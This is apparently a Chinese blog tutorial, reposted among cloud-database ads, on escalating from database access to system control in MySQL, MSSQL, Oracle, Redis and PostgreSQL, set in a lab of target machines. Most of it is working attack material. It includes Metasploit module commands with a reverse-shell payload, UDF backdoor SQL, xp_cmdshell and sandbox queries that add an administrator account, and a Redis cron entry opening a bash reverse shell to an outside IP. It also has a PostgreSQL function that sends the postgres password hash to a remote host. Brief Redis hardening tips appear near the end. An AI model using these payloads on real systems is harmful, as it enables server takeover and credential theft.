【权限提升】六种数据库提权&口令获取

本文涉及的产品
云数据库 RDS MySQL,集群版 2核4GB 100GB
推荐场景:
搭建个人博客
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
简介: 【权限提升】六种数据库提权&口令获取

MYSQL-UDF&MOF&启动项&反弹Shell

通过webshell查看phpmyadmin中配置文件(confiug.default.php)获取数据库账号密码

<code class="language-plaintext hljs">或者查看CMS配置文件(config.php等)</code>


1、UDF 配合MSF命令绑定 提权

UDF(Userdeined function)用户自定义函数,是mysql的一个接口,可以为mysql增添一些函数并且使用

提权条件

  • 已经获得当前数据库最高权限用户账号和密码
  • -secure-file-priv没进行目录限制(值为空,mysql有写入文件的权限。secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限)


上传UDF动态链接库文件

动态链接库是实现共享函数库的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so,将该文件放到特定的目录中,该文件包含了执行系统命令的一些函数


获取密码-开启外联-高版本创建目录-MSF导出dll-Webshell执行后续

1.mysql<5.2 导出目录c:/windows或system32

2.mysql=>5.2 导出mysql安装目录/lib/plugin/(plugin文件夹默认不存在,需要创建)

 
select version() #mysql的版本


1. 
2. select @@basedir #MySQL 的安装路径


通过文件管理进入C:/phpStudy/PHPTutorial/MySQL/lib/plugin 该路径下


phpstudy搭建默认没有plugin子目录,需自己手动创建或利用NTFS流创建 。


使用MSF(kali 10.10.10.129)中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权


MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。


MSF:(前提先开外联)


root用户默认没开启外联,仅支持本地连接


1. 
2. GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 10.10.10.1 (这里更换了靶机)
run


[-] 10.10.10.1:3306 - MySQL Error: RbMysql::ServerError::OptionPreventsStatement The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

#报错是因为启动MySQL默认开启--secure-file-priv这个参数,参数的主要目的就是限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置

secure_file_priv=null 不允许文件的导入导出

secure_file_priv=xxx 文件导入导出到固定路径

secure_file_priv=/ 文件可导入到任意路径

#关闭--secure-file-priv参数

my.ini 加入一行

[mysqld]

secure_file_priv =

重启phpstudy

重新run

上传成功

Navicat:

开外联后使用MSF导出,在执行后续命令调用执行

select * from mysql.func where name = "sys_exec"; //查看


 
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll

1. 
2. select sys_eval("whoami");//调用函数进行命令执行

自此从数据库权限提权至系统用户权限,后续进行远程下载后门,以及执行。


2、MOF-Win2008后权限控制导致无效-MSF演示

https://www.cnblogs.com/xishaonian/p/6384535.html

MSF:use exploit/windows/mysql/mysql_mof

提权较难成功


3、启动项 配合 MSF提权

MSF:(前提先开外链)

1. use exploit/windows/mysql/mysql_start_up
2. set rhosts 10.10.10.151
3. set username root
4. set password root
5. run

后续服务器重启,自动执行启动项,执行后门文件


4、反弹Shell

Mysql提权之反弹shell_^quxjg$c46496a646d7a9ca23ade2e5dfddc06c7e5efe9a7-CSDN博客

 
use mysql;
set @a=concat('',xxxx);//具体payload见上方链接
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
select data from Ghost into DUMPFILE 'D:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
create function backshell returns string soname 'udf.dll';//创建后门函数绑定udf.dll
select backshell('10.10.10.129',7788)//传入两个参数执行


436649fbfd11ede90e4a33b1fe3395e5_6fcaeb525ddec6879683c17e5af94c62.png

主要是secure_file_priv 是否允许导入导出文件(固定目录),高版本mysql默认开启,mysql提权前提条件


MSSQL-xp_cmdshell&sp_oacreate&沙盒

参考资料:SQL Server提权方法汇总(MSSQL)


1.使用xp_cmdshell进行提权(位置:系统数据库.master.可编程性.扩展存储过程.xp_cmdshell 作用:调用cmd执行 系统命令和数据库相互调用)


xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

a4c34dfdef92a1098d4a2a954e581471_b5ce05097d18473b2ae4c9756eb29634.png


启用xp_cmdshell

1. 
2. EXEC sp_configure 'show advanced options', 1
3. RECONFIGURE;
4. EXEC sp_configure 'xp_cmdshell', 1;
5. RECONFIGURE;


关闭

1. 
2. exec sp_configure 'show advanced options', 1;
3. reconfigure;
4. exec sp_configure 'xp_cmdshell', 0;
5. reconfigure;


执行

 
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'


sql server 默认支持外联

2.使用sp_oacreate进行提权

主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。

默认禁用:

622238aa315813a9b2aeb043d31fb75e_3d6f2bd62482ac71c9e44254bf279efd.png 启用sp_oacreate模块

 
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   

关闭

 
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;  

执行命令

 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

3.使用SQL Server 沙盒提权

 
exec sp_configure 'show advanced options',1;reconfigure; -- 不开启的话在执行xp_regwrite会提示让我们开启,
 
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
 
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
 
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' --执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') 
 
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')


这里执行命令遇到了报错:

[SQL]select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

[Err] 42000 - [SQL Server]因为 OLE DB 访问接口 'microsoft.jet.oledb.4.0' 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询。

查资料说是64位操作系统的问题,在靶机上sql server 环境上执行也没有成功。(可能是需要sql服务器端32位)


参考资料:OLE DB 访问接口 'Microsoft.Jet.OLEDB.4.0' 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询 - 天生我豺 - 博客园 (cnblogs.com)

沙盒模式SandBoxMode参数含义(默认是2)
`0`:在任何所有者中禁止启用安全模式`1` :为仅在允许范围内`2` :必须在access模式下`3`:完全开启


openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

 
--恢复配置
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; 
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; 
--exec sp_configure 'show advanced options',0;reconfigure;


Oracle-普通用户&注入提升模式&DBA模式

https://github.com/jas502n/oracleshell

1、普通用户模式:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。


2、DBA用户模式:(自动化工具演示)

拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。


3、注入提升模式:(Sqlmap测试演示)

拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显


Redis数据库权限提升-计划任务

连接(未授权或有密码)-利用如下方法提权


采用未授权直接利用,密码进入需获取配置文件读取


1、设置键值为反弹命令的计划任务写法


2、设置写入目录为/var/spool/cron/


3、设置写入文件名为xiaodi


4、保存执行


set x "\n* * * * * bash -i >& /dev/tcp/47.114.103.63/7788 0>&1\n"


config set dir /var/spool/cron/


config set dbfilename xiaodi


save


参考:Redis未授权访问漏洞利用总结_redis漏洞利用-CSDN博客


(1).利用计划任务执行命令反弹shell


(2).写ssh-keygen公钥然后使用私钥登陆


(3).权限较低往web物理路径写webshell


修复方案:


注意:以下操作,均需重启 Redis 后才能生效。


绑定需要访问数据库的IP。 将127.0.0.1修改为需要访问此数据库的IP地址。


设置访问密码。在 Redis.conf中requirepass 字段后,设置添加访问密码。


修改Redis服务运行账号。以较低权限账号运行Redis服务,禁用账号的登录权限。


PostgreSQL数据库权限提升-


提权利用的是漏洞:CVE-2018-1058 CVE-2019-9193


连接-利用漏洞-执行-提权


参考:Vulhub - Docker-Compose file for vulnerability environment


修复方案:升级版本或打上


CVE-2018-1058

PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。


vulhub搭建

先通过普通用户vulhub:vulhub的身份登录postgres

1、普通用户植入后门命令

 
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=47.94.130.42 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

2、管理员操作数据库触发

1. 
2. docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub

3、成功反弹hsell

CVE-2019-9193

其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
 
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

非root权限(UID 0 root用户 UID 1~999 是占坑用户,即一写无法登录的用户),更改执行参数进行命令执行

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
2月前
|
关系型数据库 MySQL 数据库
mysql添加用户并设置数据库权限
mysql添加用户并设置数据库权限
|
21天前
|
运维 数据管理 数据库
数据管理DMS产品使用合集之遇到报错:数据库账号没有权限执行,该如何排查
阿里云数据管理DMS提供了全面的数据管理、数据库运维、数据安全、数据迁移与同步等功能,助力企业高效、安全地进行数据库管理和运维工作。以下是DMS产品使用合集的详细介绍。
22 2
|
1月前
|
NoSQL 关系型数据库 Serverless
Serverless 应用引擎产品使用合集之连接RDS、Redis等数据库时,是否需要通过安全组来控制访问权限
阿里云Serverless 应用引擎(SAE)提供了完整的微服务应用生命周期管理能力,包括应用部署、服务治理、开发运维、资源管理等功能,并通过扩展功能支持多环境管理、API Gateway、事件驱动等高级应用场景,帮助企业快速构建、部署、运维和扩展微服务架构,实现Serverless化的应用部署与运维模式。以下是对SAE产品使用合集的概述,包括应用管理、服务治理、开发运维、资源管理等方面。
|
1月前
|
关系型数据库 MySQL Linux
Linux下mysql添加用户并授权数据库权限
Linux下mysql添加用户并授权数据库权限
55 0
|
2月前
|
关系型数据库 MySQL Shell
mysql数据库提权
UDF提权是攻击者利用MySQL的自定义函数(如sys_eval, sys_exec)创建dll文件,获取系统shell权限。需有MySQL的插入和删除权限及写入dll的权限。不同版本MySQL的dll存放位置不同,通常在lib/plugin目录。信息收集包括检查secure_file_priv、操作系统、版本、路径等。获取udf文件可通过sqlmap(需解码)或msf,然后上传到相应目录。注意利用NTFS数据流创建目录。
33 1
|
2月前
|
安全 关系型数据库 数据库
postgresql|数据库|角色(用户)管理工作---授权和去权以及usage和select两种权限的区别
postgresql|数据库|角色(用户)管理工作---授权和去权以及usage和select两种权限的区别
102 0
|
8月前
|
DataWorks 数据库 数据安全/隐私保护
在DataWorks中导出的数据库可能存在权限问题
在DataWorks中导出的数据库可能存在权限问题
48 1
|
8月前
|
数据库
易搭工作流引擎用是什么开源 还是阿里自研产品,零代码平台场景页面映射数据库表是动态创建,采用什么框架处理,怎么让系统产生高并发能力。易搭权限有没有了解,求解。
易搭工作流引擎用是什么开源 还是阿里自研产品,零代码平台场景页面映射数据库表是动态创建,采用什么框架处理,怎么让系统产生高并发能力。易搭权限有没有了解,求解。
|
9月前
|
数据库 数据安全/隐私保护 数据库管理
openGauss学习笔记-109 openGauss 数据库管理-管理用户及权限-角色
openGauss学习笔记-109 openGauss 数据库管理-管理用户及权限-角色
|
13天前
|
存储 关系型数据库 MySQL
探索MySQL:关系型数据库的基石
MySQL,作为全球最流行的开源关系型数据库管理系统(RDBMS)之一,广泛应用于各种Web应用、企业级应用和数据仓库中